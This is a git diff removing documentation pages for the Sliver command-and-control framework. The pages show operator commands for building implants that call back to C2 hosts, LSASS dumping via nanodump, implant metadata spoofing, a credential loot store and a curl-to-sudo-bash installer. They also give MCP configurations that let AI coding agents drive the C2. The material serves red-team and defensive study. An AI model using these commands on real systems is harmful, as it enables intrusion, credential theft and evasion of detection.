[stagers](/docs?name=Stagers). - -Here are some external resources for anti-virus evasion: - -- https://github.com/phra/PEzor -- https://github.com/Veil-Framework/Veil diff --git a/capabilities/sliver-c2/docs/sliver/reference/architecture.md b/capabilities/sliver-c2/docs/sliver/reference/architecture.md deleted file mode 100644 index 939d7fd..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/architecture.md +++ /dev/null @@ -1,28 +0,0 @@ -This document describes the technical design of Sliver. - -## High Level - -There are four major components to the Sliver ecosystem: - -- **Server Console -** The server console is the main interface, which is started when you run the `sliver-server` executable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server. -- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS). -- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener. -- **Implant -** The implant is the actual malicious code run on the target system you want remote access to. - -``` - In ┌───────────────┐ C2 -┌─────────┐ Memory │ │ Protocol ┌─────────┐ -│ Server ├────────────►│ Sliver Server ├─────────►│ Implant │ -│ Console │ │ │ └─────────┘ -└─────────┘ └───────────────┘ - ▲ - │ - │gRPC/mTLS - │ - ┌────┴────┐ - │ Sliver │ - │ Client │ - └─────────┘ -``` - -By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode. diff --git a/capabilities/sliver-c2/docs/sliver/reference/armory.md b/capabilities/sliver-c2/docs/sliver/reference/armory.md deleted file mode 100644 index 71e86b9..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/armory.md +++ /dev/null @@ -1,49 +0,0 @@ -The armory is the Sliver Alias and Extension package manager. It allows you to automatically install various third-party tools such as BOFs and .NET tooling. - -The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension. - -Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode). - -You can also use `armory install all` to install _everything_ if you really want to. - -## The Official Armory - -The official armory ships with Sliver binaries and is included by default in the `Makefile` when compiling from source. You can interact with the Armory using the `armory` command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the [Sliver Armory GitHub](https://github.com/sliverarmory) organization. - -#### Installing Packages - -List available packages by running the `armory` command without arguments, packages are installed using the package's command name: - -``` -sliver > armory install rubeus - -[*] Installing alias 'Rubeus' (v0.0.21) ... done! - -sliver > rubeus -h - -[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses. - -... -``` - -#### Updating Packages - -You can update all installed aliases and extensions by running `armory update` command. - -``` -sliver > armory update - -[*] All aliases up to date! -[*] 1 extension(s) out of date: coff-loader -[*] Installing extension 'coff-loader' (v1.0.10) ... done! -``` - -#### Removing Packages - -You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectively. - -Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client. - -## Private Armories - -Sliver has experimental support for self-hosted private armories, but I have not gotten around to testing and writing the documentation for these, so you'll have to read through the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature. diff --git a/capabilities/sliver-c2/docs/sliver/reference/bof-and-coff-support.md b/capabilities/sliver-c2/docs/sliver/reference/bof-and-coff-support.md deleted file mode 100644 index 5899e3f..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/bof-and-coff-support.md +++ /dev/null @@ -1,119 +0,0 @@ -Sliver supports the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types. - -### BOF Extensions - -BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory). - -The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager: - -**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it. - -``` -sliver > armory install nanodump - -[*] Installing extension 'nanodump' (v0.0.5) ... done! - -sliver > nanodump -h - -A Beacon Object File that creates a minidump of the LSASS process. - -Usage: -====== - nanodump [flags] pid dump-name write-file signature - -Args: -===== - pid int The PID of the process you want to dump. - dump-name string The name of the dump file. - write-file int 1 = write file, 0 = fileless - signature string Signature used for evasion, PMDM = default - -Flags: -====== - -h, --help display help - -s, --save Save output to disk - -t, --timeout int command timeout in seconds (default: 60) -``` - -### Converting BOFs to Sliver - -Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json`, though, based on what arguments/etc. the BOF accepts. - -To determine the arguments a BOF accepts and their types, you'll need to read the `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is shown below: - -``` -alias CredMan { - local('$handle $data $args $2'); - - if(size(@_) != 3){ - berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] "); - return; - } - - $handle = openf(script_resource("CredMan.o")); - $data = readb($handle, -1); - closef($handle) - - $args = bof_pack($1,"i",$2); - - btask($1, "Running CredMan"); - - - beacon_inline_execute($1,$data,"go",$args); -} - -beacon_command_register( -"CredMan", -"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager"); -``` - -| Type | Description | Sliver Type | -| ---- | -------------------------------- | ---------------------------- | -| b | binary data | `file` (path to binary data) | -| i | 4-byte integer | `int` or `integer` | -| s | 2-byte short integer | `short` | -| z | zero-terminated+encoded string | `string` | -| Z | zero-terminated wide-char string | `wstring` | - -Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments. - -```json -{ - "name": "credman", - "version": "1.0.0", - "command_name": "credman", - "extension_author": "lesnuages", - "original_author": "jsecu", - "repo_url": "https://github.com/sliverarmory/CredManBOF", - "help": "Dump credentials using the CredsBackupCredentials API", - "long_help": "", - "depends_on": "coff-loader", - "entrypoint": "go", - "files": [ - { - "os": "windows", - "arch": "amd64", - "path": "credman.x64.o" - }, - { - "os": "windows", - "arch": "386", - "path": "credman.x86.o" - } - ], - "arguments": [ - { - "name": "pid", - "desc": "PID of a process started by the target user", - "type": "int", - "optional": false - } - ] -} -``` - -Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed. - -More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page. - -**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension. diff --git a/capabilities/sliver-c2/docs/sliver/reference/executable-metadata.md b/capabilities/sliver-c2/docs/sliver/reference/executable-metadata.md deleted file mode 100644 index 371403b..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/executable-metadata.md +++ /dev/null @@ -1,179 +0,0 @@ -Executable metadata spoofing lets you post-process a generated build and copy metadata/resource details from a donor executable. - -## Overview - -The feature is enabled with the `--spoof-metadata` flag on generate commands. - -- Current format support: `pe` (Windows PE) -- Config file: `/spoof-metadata.yaml` -- Default client app dir: `~/.sliver-client` - -On first client startup, Sliver creates `spoof-metadata.yaml` if it does not exist. - -## Flag Usage - -`--spoof-metadata` is off by default. - -- No flag: metadata spoofing is not applied. -- `--spoof-metadata` (no argument): use `/spoof-metadata.yaml`. -- `--spoof-metadata /path/to/donor.exe`: use the provided donor file directly. - -Path mode validation: - -- Currently only supported for Windows PE targets. -- Target output format must be executable, service, or shared library. -- Donor PE machine type must match target architecture (`386`, `amd64`, `arm64`). -- For shared library targets, donor must be a DLL; for executable/service targets, donor must not be a DLL. - -When path mode is used, Sliver only uses the donor file bytes as `pe.source` and does not read override fields from `spoof-metadata.yaml`. - -## Quick Start - -1. Start the client once to generate `~/.sliver-client/spoof-metadata.yaml`. -2. Edit `pe.source.path` to point to a donor PE file. -3. Generate with `--spoof-metadata`. - -Example: - -```bash -sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata -N win-agent -``` - -Direct donor path example: - -```bash -sliver > generate --os windows --arch amd64 --format exe --mtls 10.0.0.5 --spoof-metadata /opt/samples/notepad.exe -N win-agent -``` - -## Config Format - -Top-level config: - -```yaml -pe: - source: - name: metadata-source.exe - path: /absolute/path/to/donor.exe -``` - -`pe.source` is required when using `--spoof-metadata`. - -Fields that can carry binary content (such as `source` and `icon`) support: - -- `name`: logical filename sent in protobuf metadata -- `path`: local file path read by the client -- `base64`: inline base64 bytes - -`name` and `path` are not duplicates: - -- `path` controls where bytes are loaded from on the client machine. -- `name` is the filename value sent to the server. - -If `path` is set and `name` is omitted, Sliver uses `basename(path)` automatically. - -Set only one of `path` or `base64` for each object. - -## Examples - -### Minimal Path-Based Config - -```yaml -pe: - source: - name: metadata-source.exe - path: /opt/samples/notepad.exe -``` - -### Include Icon Donor Bytes - -```yaml -pe: - source: - name: metadata-source.exe - path: /opt/samples/notepad.exe - icon: - name: icon.ico - path: /opt/samples/app.ico -``` - -### Inline Base64 Config - -```yaml -pe: - source: - name: metadata-source.exe - base64: TVqQAAMAAAAEAAAA... - icon: - name: icon.ico - base64: AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAA... -``` - -### Advanced Optional PE Structure Fields - -These fields are optional and act as PE metadata overrides: - -```yaml -pe: - source: - name: metadata-source.exe - path: /opt/samples/notepad.exe - - resource_directory: - major_version: 1 - minor_version: 0 - time_date_stamp: 1712345678 - number_of_named_entries: 0 - number_of_id_entries: 0 - - resource_directory_entries: - - name: 1 - offset_to_data: 0 - - resource_data_entries: - - offset_to_data: 0 - size: 0 - code_page: 0 - reserved: 0 - - export_directory: - major_version: 1 - minor_version: 0 - time_date_stamp: 1712345678 - number_of_functions: 0 - number_of_names: 0 -``` - -## Override Behavior - -Override order for `pe`: - -1. Sliver clones metadata/resources from `pe.source`. -2. Sliver applies explicit override fields from your config. - -This means: - -- If an override field is set, it replaces the cloned value. -- If an override field is omitted, the cloned donor value is kept. - -Resource override details: - -- `resource_directory` overrides the root `IMAGE_RESOURCE_DIRECTORY` fields. -- `resource_directory_entries` overrides the first N root directory entries in order. -- `resource_data_entries` overrides the first N resource data entries discovered in resource-tree order. - -Export override details: - -- `export_directory` overrides fields in the PE export directory when that directory exists. -- If a PE has no export directory, this override has no effect. - -Important: - -- In protobuf/YAML, scalar zero values are real override values when the parent block is present. -- When setting partial `resource_directory` values, include `number_of_named_entries` and `number_of_id_entries` from the original header unless you intentionally want to change them. - -## Notes - -- The client reads local file paths and sends bytes to the server over gRPC. -- Spoofing is applied only after a build completes successfully. -- The server applies spoofing to the selected existing build artifact. -- PE support is implemented first; the config is structured for future executable formats. diff --git a/capabilities/sliver-c2/docs/sliver/reference/getting-started.md b/capabilities/sliver-c2/docs/sliver/reference/getting-started.md deleted file mode 100644 index 36458da..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/getting-started.md +++ /dev/null @@ -1,235 +0,0 @@ -Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done. - -Sliver is designed for a one server deployment per operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode). - -Obfuscated builds require `git` to be installed. Additionally, Sliver has an external dependencies for _optional_ features: Metasploit. To enable some MSF integrations you'll need Metasploit installed on the server. - -For a Linux server, you can also use the one-liner installation `curl https://sliver.sh/install|sudo bash` - -```asciinema -{"src": "/asciinema/install-1.cast", "cols": "132"} -``` - -If you install Sliver via the one-liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`): - -```asciinema -{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} -``` - -#### System Requirements - -The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low-resource systems to work around hardware limitations of the server (e.g. a low-powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console. - -**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW. - -See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details. - -### Metasploit Setup (Optional) - -We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 6.2+. - -## Implants: Beacon vs. Session - -Sliver is generally designed as a stage 2 payload, and as such we have not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Go. - -Sliver implants support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server, retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real-time session using either a persistent connection or long polling depending on the underlying C2 protocol. - -Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning. - -Some commands such as `shell` and `portfwd` only work over interactive sessions. - -## Generating Implants - -Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory. - -#### Session Mode - -```asciinema -{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"} -``` - -#### Beacon Mode - -```asciinema -{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"} -``` - -Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Go GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Go GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers. - -Some commands/features may not work on "unsupported" platforms. - -``` -sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac - -[*] Generating new darwin/amd64 Sliver binary -[*] Build completed in 00:00:09 -[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY -``` - -The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command: - -``` -sliver > implants - -Name OS/Arch Debug Format -==== ======= ===== ====== -CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE -LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB -RUBBER_PRINTER windows/amd64 true SHARED_LIB -RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE -MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB -MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB -SICK_SPY darwin/amd64 false EXECUTABLE -``` - -If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) come after the command flags (e.g., `--save`): - -``` -sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE - -[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe -``` - -#### Additional Details - -For additional details about each C2 please see: - -- [HTTP(S) C2](/docs?name=HTTPS+C2) -- [DNS C2](/docs?name=DNS+C2) - -## Getting Shells - -Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks: - -``` -sliver > mtls - -[*] Starting mTLS listener ... -[*] Successfully started job #1 - -sliver > jobs - -ID Name Protocol Port -== ==== ======== ==== -1 mTLS tcp 8888 -``` - -In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target. - -### Interacting with Sessions - -The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from. - -``` -[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST - -sliver > use 8ff2ce4c - -[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6) - -sliver (LONG_DRAMATURGE) > ls - -/Users/moloch/Desktop -===================== -.DS_Store 6.0 KiB -.localized 0 B -LONG_DRAMATURGE 6.3 MiB -``` - -If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting) (TL;DR: add the `--debug` flag when generating an implant). - -### Interacting with Beacons - -Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own ID and this ID is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab-complete for the UUID when using `use`: - -``` -[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST - -[server] sliver > beacons - - ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In -========== ======================== ======= =========== ===================== ================= =============================== ================== ================ =============== - 8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s - -[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb - -[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb) - -[server] sliver (RELATIVE_ADVERTISEMENT) > -``` - -You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode. - -``` -[server] sliver (RELATIVE_ADVERTISEMENT) > ls - -[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6) - -[+] RELATIVE_ADVERTISEMENT completed task 962978a6 - -C:\git -====== -drwxrwxrwx a Wed Dec 22 15:34:56 -0600 2021 -... -``` - -Tasks will execute in the order they were created (FIFO). - -**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators. - -You can view previous tasks executed by the active beacon using the `tasks` command: - -``` -[server] sliver (RELATIVE_ADVERTISEMENT) > tasks - - ID State Message Type Created Sent Completed -========== =========== ============== =============================== =============================== =============================== - 90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST - 962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST -``` - -You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command. - -#### Switching from Beacon Mode to Session Mode - -You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used: - -``` -[server] sliver (RELATIVE_ADVERTISEMENT) > interactive - -[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888 -[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899) - -[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST -``` - -**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags. - -When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open. - -## Multiple Domains/Protocols - -You can specify multiple domains and protocols during the generation process. - -By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail. - -``` -sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip -``` - -You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint: - -``` -sliver > generate --mtls foo.com,bar.com,baz.com --strategy r -``` - -## What Next? - -Most commands have a `--help` and support tab-complete, you may also find the following wiki articles of interest: - -- [Armory](/docs?name=Armory) -- [Stagers](/docs?name=Stagers) -- [Community Guides](/docs?name=Community%20Guides) -- [Port Forwarding](/docs?name=Port%20Forwarding) -- [Reverse SOCKS](/docs?name=Reverse%20SOCKS) -- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support) diff --git a/capabilities/sliver-c2/docs/sliver/reference/loot.md b/capabilities/sliver-c2/docs/sliver/reference/loot.md deleted file mode 100644 index af393f7..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/loot.md +++ /dev/null @@ -1,17 +0,0 @@ -The `loot` command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See `loot --help` for a complete list of sub-commands. - -### Adding Loot - -You can add loot to the loot store several different ways: - -- The `loot remote` command can be used to pull a file directly from a remote system to the loot store (requires an active session). -- The `loot local` command can be used to add files from the operator's local machine to the loot store. -- Several commands (e.g. `sideload`, and `execute-assembly`) have the `--loot` flag, which can be used to save the output of the command to the loot store. - -### Fetching Loot - -To fetch (i.e., look at) a piece of loot use the `loot fetch` command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file. - -### Remove Loot - -The `loot rm` command is used to remove loot from the server. diff --git a/capabilities/sliver-c2/docs/sliver/reference/mcp.md b/capabilities/sliver-c2/docs/sliver/reference/mcp.md deleted file mode 100644 index aeaa5b3..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/mcp.md +++ /dev/null @@ -1,52 +0,0 @@ -__IMPORTANT:__ MCP (Model Context Protocol) support is _experimental_ and NOT ALL FUNCTIONALITY IS SUPPORTED YET. Pull requests and testing feedback are welcome! - -There are two main ways to connect an AI model to sliver using MCP: locally over stdio, or over a network using HTTP/SSE transports. The `sliver-client` supports both stdio and http/sse, but the `sliver-server` binary only supports HTTP/SSE. We recommend using the `sliver-client` and [Multiplayer Mode](/docs?name=Multi-player+Mode) to connect to a remote server with the stdio transport. - - -## MCP Over STDIO - -Example configurations for various AIs, you'll need to configure [Multiplayer Mode](/docs?name=Multi-player+Mode) first: - -### OpenAI Codex - -``` -[mcp_servers.sliver] -args = ["mcp", "--config", "/path/to/multiplayer.cfg"] -command = "/path/to/sliver-client" -``` - -### Anthropic Claude Code - -``` -claude mcp add sliver -- /path/to/sliver-client mcp --config /path/to/multiplayer.cfg -``` - -## MCP Over HTTP/SSE - -The MCP HTTP/SSE server can be started from either the `sliver-client` or `sliver-server`, however _where you run the command is where the server will start_ i.e., starting the HTTP/SSE MCP using `sliver-client` will turn that `sliver-client` binary into the MCP server (connected to whatever Sliver server you're currently connected to). Running the command from the `sliver-server` console will start a HTTP/SSE MCP server locally bound on the server. - -``` -.------..------..------..------..------..------. -|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | -| :/\: || :/\: || (\/) || :(): || (\/) || :(): | -| :\/: || (__) || :\/: || ()() || :\/: || ()() | -| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| -`------'`------'`------'`------'`------'`------' - -All hackers gain skulk -[*] Server v1.6.4 - 4d0d46afd6e1cbcaafde92687144cb28694a68ce -[*] Welcome to the sliver shell, please type 'help' for options -sliver > mcp - -Status: stopped -Transport: sse -Listen: 127.0.0.1:8080 -Endpoint: http://127.0.0.1:8080/sse - -sliver > mcp start --transport http - -[*] Starting MCP server (http) on 127.0.0.1:8080 -[*] Endpoint: http://127.0.0.1:8080/mcp -``` - -You can use `mcp stop` to stop the server, see `mcp start --help` for additional options when starting the MCP server. Authentication is not yet supported for MCP over HTTP/SSE. \ No newline at end of file diff --git a/capabilities/sliver-c2/docs/sliver/reference/payload-compatibility.md b/capabilities/sliver-c2/docs/sliver/reference/payload-compatibility.md deleted file mode 100644 index ffb9229..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/payload-compatibility.md +++ /dev/null @@ -1,81 +0,0 @@ -This page summarizes implant payload format compatibility by target OS/architecture (`GOOS/GOARCH`). - -## Common Platforms - -| Target OS/Arch | Executable | Shared Library | Shellcode | Service | -| --------------- | ---------- | -------------- | --------- | ------- | -| `windows/386` | ✅ | ✅ | ✅ | ✅ | -| `windows/amd64` | ✅ | ✅ | ✅ | ✅ | -| `windows/arm64` | ⚠️ | ⚠️ | ❌ | ⚠️ | -| `linux/386` | ✅ | ✅ | ❌ | N/A | -| `linux/amd64` | ✅ | ✅ | ✅ | N/A | -| `linux/arm64` | ✅ | ✅ | ✅ | N/A | -| `darwin/amd64` | ✅ | ✅ | ❌ | N/A | -| `darwin/arm64` | ✅ | ✅ | ✅ | N/A | - -### Important Notes - -- `✅` = first-class support in Sliver's built-in target matrix. -- `⚠️` = generic/experimental target (not first-class; may fail depending on toolchain/target). -- `❌` = not currently supported for that payload format. -- `Service` is a Windows-only format. -- `Shellcode` is currently supported for `windows/{386,amd64}`, `linux/{amd64,arm64}`, and `darwin/arm64`. -- `Shellcode` and `Shared Library` for MacOS may require a [cross-compiler](/docs?name=Cross-compiling+Implants) or an [external builder](/docs?name=External+Builders) depending on your platform. -- On macOS hosts, targeting `linux/386` for shared library/shellcode builds is currently not reliable. - -Use `generate info` in the Sliver console to see what your current server can build with its configured toolchains. - -## All GOOS/GOARCH Targets - -The table below covers all `GOOS/GOARCH` entries from `go tool dist list` (Go 1.24+), including common platforms: - -| Target GOOS/GOARCH | Common Platform | Executable | Shared Library | Shellcode | Service | -| ------------------ | --------------- | ---------- | -------------- | --------- | ------- | -| `aix/ppc64` | No | ⚠️ | ❌ | ❌ | N/A | -| `android/386` | No | ⚠️ | ❌ | ❌ | N/A | -| `android/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `android/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `android/arm64` | No | ⚠️ | ❌ | ❌ | N/A | -| `darwin/amd64` | Yes | ✅ | ✅ | ❌ | N/A | -| `darwin/arm64` | Yes | ✅ | ✅ | ✅ | N/A | -| `dragonfly/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `freebsd/386` | No | ⚠️ | ❌ | ❌ | N/A | -| `freebsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `freebsd/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `freebsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A | -| `freebsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A | -| `illumos/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `ios/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `ios/arm64` | No | ⚠️ | ❌ | ❌ | N/A | -| `js/wasm` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/386` | Yes | ✅ | ✅ | ❌ | N/A | -| `linux/amd64` | Yes | ✅ | ✅ | ✅ | N/A | -| `linux/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/arm64` | Yes | ✅ | ✅ | ✅ | N/A | -| `linux/loong64` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/mips` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/mips64` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/mips64le` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/mipsle` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/ppc64` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/ppc64le` | No | ⚠️ | ❌ | ❌ 